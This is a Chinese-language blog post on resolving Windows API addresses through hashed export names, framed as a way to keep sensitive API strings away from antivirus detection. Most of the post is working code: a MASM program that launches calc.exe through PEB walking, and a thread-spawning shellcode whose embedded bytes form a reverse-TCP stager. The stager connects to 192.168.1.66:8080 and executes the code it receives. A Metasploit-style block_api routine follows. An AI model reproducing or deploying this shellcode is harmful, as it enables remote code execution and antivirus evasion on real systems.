• hash算法搜索获得api函数地址的实现,"kernel32.dll", "CreateThread"


      我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。

      我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。还有很多方便小巧的算法,例如ROR 13等算法,其实它和我们上面的基本一样,只不过它将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。

      下面的代码通过hash搜索WinExec函数来运行Clac:

     .386  
        .model flat, stdcall  
        option casemap:none  
          
    include windows.inc  
    include user32.inc  
    include kernel32.inc  
    includelib user32.lib  
    includelib kernel32.lib  
      
        .const  
    szCalc      db 'calc.exe', 0  
      
        .code  
          
    _GetKrnl32 proc  
    
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 获取kernel32.dll的地址,因为xp和win7不一样
    ; 故采用比较名称的方式获取地址,具体见Kernel32基地址获得学习
    ; http://blog.csdn.net/programmingring/article/details/11357393
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        assume fs:nothing  
        mov eax, fs:[30h]  
        mov eax, [eax + 0ch]  
        mov eax, [eax + 1ch]        ; 第一个LDR_MODULE
        
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 压入kernel32.dll的unicode字符串
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
        push dword ptr 006ch  
        push dword ptr 6c0064h  
        push dword ptr 2e0032h  
        push dword ptr 33006ch  
        push dword ptr 65006eh  
        push dword ptr 720065h  
        push word ptr 006bh  
        mov ebx, esp              ; ebx指向字符串
        
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 开始比较
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>      
    _Search:  
        cmp eax, 0  
        jz _NotFound  
        cmp eax, 0ffffffffh  
        jz _NotFound  
        lea esi, [eax + 1ch]          ; esi指向UNICODE_STRING结构
        xor ecx, ecx              
        mov cx, 13              ; 比较的长度
        mov esi, [esi + 4]          ; 获得UNICODE_STRING结构的Buffer成员
        mov edi, ebx              ; edi指向kernel32unicode字符串
        repz cmpsw  
        or ecx, ecx              ; ecx减完说明相等
        jz _Found  
        mov eax, [eax]              ; 获取下一个LDR_MODULE
        jmp _Search  
          
    _NotFound:  
        mov eax, 0ffffffffh  
        jmp _Over  
          
    _Found:  
        mov eax, [eax + 08h]          ; 获得地址
          
    _Over:  
        add esp, 26  
        ret  
          
    _GetKrnl32 endp  
      
    _GetRolHash proc _lpApiString  
          
        mov eax, _lpApiString 
        push esi  
        xor edx, edx  
        xchg eax, esi              ; esi = _lpApiString
        cld                  ; 递增
          
    _Next:      
        lodsb                  ; 从esi指向的地址中取一个字符
        test al, al              ; 比较是否为0
        jz _Ret  
        rol edx, 3              ; 左循环移位3位
        xor dl, al              ; 低字节和字符异或
        jmp _Next  
          
    _Ret:  
        xchg eax, edx              ; eax = 处理后的_lpApiString的hash
        pop esi  
        ret  
          
    _GetRolHash endp  
      
    _GetApi proc _hDllHandle, _iHashApi  
          
        push ebp  
        mov eax, _hDllHandle  
        mov ecx, _iHashApi  
        mov ebx, eax  
        mov edi, ecx  
          
        mov eax, [ebx + 3ch]  
        mov esi, [ebx + eax + 78h]          ; Get Export RVA  
        lea esi, [esi + ebx + IMAGE_EXPORT_DIRECTORY.NumberOfNames]  
        lodsd  
        xchg eax, edx                   ; edx = NumberOfNames  
        lodsd  
        push eax                        ; [esp] = AddressOfFunctions  
        lodsd  
        xchg eax, ebp                      ; ebp = AddressOfNames  
        lodsd  
        xchg eax, ebp                   ; ebp = AddressOfNameOrdinals, eax = AddressOfNames  
        add eax, ebx  
        xchg eax, esi                   ; esi = AddressOfNames  
          
    _LoopScas:  
        dec edx  
        js _Ret  
        lodsd                  ; eax = api名称的rva
        add eax, ebx              ; eax = api名称的实际地址
        push edx  
        invoke _GetRolHash, eax         ; 计算hash字符串  
          
        pop edx  
        cmp eax, edi              ; 比较和传入的hash参数是否相等
        jz _GetAddr  
          
        add ebp, 2              ; 递增,和esi相对应
        jmp _LoopScas  
          
    _GetAddr:  
        movzx eax, word ptr [ebp + ebx]      ; 取得序号值
        shl eax, 2              ; 乘4
        add eax, [esp]              ; 在AddressOfFunctions取得相应序号值位置的值
        mov eax, [ebx + eax]          ; 取得函数地址
        add eax, ebx  
          
    _Ret:  
        pop ecx  
        pop ebp  
        ret  
          
    _GetApi endp  
      
    _WinMain proc  
      
        invoke _GetKrnl32  
        invoke _GetApi, eax, 016ef74bh      ; "WinExec"的hash  
        push SW_SHOW  
        lea ebx, szCalc  
        push ebx  
        call eax  
        ret  
          
    _WinMain endp
      
    start:  
        call _WinMain  
        invoke ExitProcess, 0  
          
        end start  

    另外一段代码:新建一个线程的shellcode,payload: 后面的内容为要新建线程要执行的内容。

    [BITS 32]
    [ORG 0]
    cld
    call start
    delta:
    %include "block_api.asm"
    start:
      pop ebp ; pop off the address of 'api_call' for calling later.
      xor eax, eax
      push eax
      push eax
      push eax
      lea ebx, [ebp+threadstart-delta]
      push ebx
      push eax
      push eax
      push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
      call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
      jmp end
    threadstart:
      pop eax ; pop off the unused thread param so the prepended shellcode can just return when done.
      payload: db 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x42,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5
      end
    

      

     

      上面代码里block_api.asm

    api_call:
      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
      mov ebp, esp           ; Create a new stack frame
      xor eax, eax           ; Zero EAX (upper 3 bytes will remain zero until function is found)
      mov edx, [fs:eax+48]   ; Get a pointer to the PEB
      mov edx, [edx+12]      ; Get PEB->Ldr
      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
    next_mod:                ;
      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
      movzx ecx, word [edx+38] ; Set ECX to the length we want to check
      xor edi, edi           ; Clear EDI which will store the hash of the module name
    loop_modname:            ;
      lodsb                  ; Read in the next byte of the name
      cmp al, 'a'            ; Some versions of Windows use lower case module names
      jl not_lowercase       ;
      sub al, 0x20           ; If so normalise to uppercase
    not_lowercase:           ;
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      loop loop_modname      ; Loop until we have read enough
    
      ; We now have the module hash computed
      push edx               ; Save the current position in the module list for later
      push edi               ; Save the current module hash for later
      ; Proceed to iterate the export address table,
      mov edx, [edx+16]      ; Get this modules base address
      mov ecx, [edx+60]      ; Get PE header
    
      ; use ecx as our EAT pointer here so we can take advantage of jecxz.
      mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
      jecxz get_next_mod1    ; If no EAT present, process the next module
      add ecx, edx           ; Add the modules base address
      push ecx               ; Save the current modules EAT
      mov ebx, [ecx+32]      ; Get the rva of the function names
      add ebx, edx           ; Add the modules base address
      mov ecx, [ecx+24]      ; Get the number of function names
      ; now ecx returns to its regularly scheduled counter duties
    
      ; Computing the module hash + function hash
    get_next_func:           ;
      jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
      dec ecx                ; Decrement the function name counter
      mov esi, [ebx+ecx*4]   ; Get rva of next module name
      add esi, edx           ; Add the modules base address
      xor edi, edi           ; Clear EDI which will store the hash of the function name
      ; And compare it to the one we want
    loop_funcname:           ;
      lodsb                  ; Read in the next byte of the ASCII function name
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
      jne loop_funcname      ; If we have not reached the null terminator, continue
      add edi, [ebp-8]       ; Add the current module hash to the function hash
      cmp edi, [ebp+36]      ; Compare the hash to the one we are searching for
      jnz get_next_func      ; Go compute the next function hash if we have not found it
    
      ; If found, fix up stack, call the function and then value else compute the next one...
      pop eax                ; Restore the current modules EAT
      mov ebx, [eax+36]      ; Get the ordinal table rva
      add ebx, edx           ; Add the modules base address
      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
      mov ebx, [eax+28]      ; Get the function addresses table rva
      add ebx, edx           ; Add the modules base address
      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
      add eax, edx           ; Add the modules base address to get the functions actual VA
      ; We now fix up the stack and perform the call to the desired function...
    finish:
      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
      pop ebx                ; Clear off the current modules hash
      pop ebx                ; Clear off the current position in the module list
      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
      pop ecx                ; Pop off the origional return address our caller will have pushed
      pop edx                ; Pop off the hash value our caller will have pushed
      push ecx               ; Push back the correct return value
      jmp eax                ; Jump into the required function
      ; We now automagically return to the correct caller...
    
    get_next_mod:            ;
      pop edi                ; Pop off the current (now the previous) modules EAT
    get_next_mod1:           ;
      pop edi                ; Pop off the current (now the previous) modules hash
      pop edx                ; Restore our position in the module list
      mov edx, [edx]         ; Get the next module
      jmp short next_mod     ; Process this module
    

      

  • 相关阅读:
    js 的防抖与节流
    Vue---图形二维码、rules校验规则、el-dialog展示图片
    vue ----弹框
    vue的背景加载--旋转*号
    利用ES6新特性将时间戳转换为yyyy-mm-dd格式
    路由守卫之离开守卫
    Java的运行环境与开发环境
    list<map<string,object>> 按照某字段排序
    没有CSRF保护的HTML表单 漏洞解决办法
    通过mybatis-plus的分页插件,实现分页
  • 原文地址:https://www.cnblogs.com/bokernb/p/6407484.html
Copyright © 2020-2023  润新知